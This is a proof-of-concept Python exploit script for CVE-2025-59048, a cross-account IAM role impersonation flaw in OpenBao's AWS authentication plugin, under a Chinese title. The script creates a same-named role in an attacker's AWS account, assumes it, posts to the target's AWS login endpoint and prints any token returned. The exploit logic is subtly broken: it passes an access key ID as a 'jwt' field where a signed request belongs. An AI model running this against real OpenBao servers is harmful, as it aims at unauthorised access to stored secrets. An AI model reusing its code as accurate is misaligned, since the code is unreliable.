CVE-2025-59048 OpenBao AWS插件跨账户IAM角色冒充漏洞

# CVE-2025-59048 PoC - Cross-account IAM Role Impersonation # This PoC demonstrates the concept of the vulnerability import boto3 import json import requests # Configuration OPENBAO_URL = "http://target-openbao:8200" ATTACKER_AWS_ACCOUNT_ID = "123456789012" # Attacker's AWS account TARGET_ROLE_NAME = "trusted-role" # Same name as role in trusted account def create_iam_role_in_attacker_account(): """Create an IAM role with the same name as the target role""" iam_client = boto3.client('iam') trust_policy = { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "AWS": f"arn:aws:iam::{ATTACKER_AWS_ACCOUNT_ID}:root" }, "Action": "sts:AssumeRole" } ] } try: iam_client.create_role( RoleName=TARGET_ROLE_NAME, AssumeRolePolicyDocument=json.dumps(trust_policy), Description="Malicious role for CVE-2025-59048 demonstration" ) print(f"[+] Created IAM role: {TARGET_ROLE_NAME}") except iam_client.exceptions.EntityAlreadyExistsException: print(f"[*] Role {TARGET_ROLE_NAME} already exists") def get_aws_identity(): """Get current AWS identity credentials""" sts_client = boto3.client('sts') identity = sts_client.get_caller_identity() return identity def authenticate_to_openbao(): """Attempt to authenticate to OpenBao using the impersonated role""" # Assume role to get temporary credentials sts_client = boto3.client('sts') # Get role credentials (would normally require assuming the role first) role_credentials = sts_client.assume_role( RoleArn=f"arn:aws:iam::{ATTACKER_AWS_ACCOUNT_ID}:role/{TARGET_ROLE_NAME}", RoleSessionName="OpenBao-Exploitation" ) # Generate signed request to OpenBao # The vulnerability allows this request from untrusted account to succeed auth_data = { "role": TARGET_ROLE_NAME, "jwt": role_credentials['Credentials']['AccessKeyId'] # Simplified } response = requests.post( f"{OPENBAO_URL}/v1/auth/aws/login", json=auth_data ) if response.status_code == 200: print("[!] Authentication successful - Vulnerability confirmed!") return response.json() else: print("[-] Authentication failed") return None def main(): print("CVE-2025-59048 - OpenBao AWS Plugin Cross-account IAM Role Impersonation") print("=" * 80) # Step 1: Create role in attacker's account create_iam_role_in_attacker_account() # Step 2: Verify current identity identity = get_aws_identity() print(f"[*] Current identity: {identity['Arn']}") # Step 3: Attempt authentication to OpenBao result = authenticate_to_openbao() if result: print("[+] Received OpenBao token - exploitation successful") print(f" Token: {result.get('auth', {}).get('client_token', 'N/A')[:20]}...") if __name__ == "__main__": main()